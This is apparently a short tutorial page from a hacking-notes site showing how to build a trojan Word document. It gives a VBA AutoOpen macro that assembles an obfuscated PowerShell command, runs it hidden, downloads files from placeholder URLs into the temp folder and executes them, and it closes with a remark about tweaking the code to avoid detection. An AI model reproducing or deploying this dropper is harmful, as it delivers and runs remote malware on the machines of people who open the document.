> For the complete documentation index, see [llms.txt](https://hackzzz.gitbook.io/welcome/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackzzz.gitbook.io/welcome/everything-about-and-notes/social-engineering/windows-malware/creating-trojans/microsoft-office-trojans/word-macros.md).

# Word Macros

* Start creating a new word document and go to **View** -> **Macros**.

<figure><img src="/files/lsZBURVjR2jVbiRuI3UV" alt=""><figcaption></figcaption></figure>

* Create a new macro "**AutoRun**" and click run.

<figure><img src="/files/1kbyuB7G4L0v9vdz0ZDS" alt=""><figcaption></figcaption></figure>

* In the following image we can see that we can code our macro so, just copy the script below and paste it.
* Later that, save it, and run it enabling macros.

<figure><img src="/files/UjHmxgukUsOBXDdGfKKb" alt=""><figcaption></figcaption></figure>

### Macro Script

```batch
Sub AutoOpen()
    Dim cc As String
    cc = "pow"
    cc = cc + "ers"
    cc = cc + "hell "
    cc = cc + "-NoP -NonI -W Hidden """
    
    cc = cc + "('url1','url2')"
    
    cc = cc + "|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);"
    
    cc = cc + "(new-object System.Net.WebClient).DownloadFile($_,$fileName);"
    
    cc = cc + "Invoke-Item $fileName;}"
    
    cc = cc + """"

    VBA.CreateObject("WScript.Shell").Run cc, 0

End Sub
```

**PD: It gets detected very easy, and you might need to play around with the code.**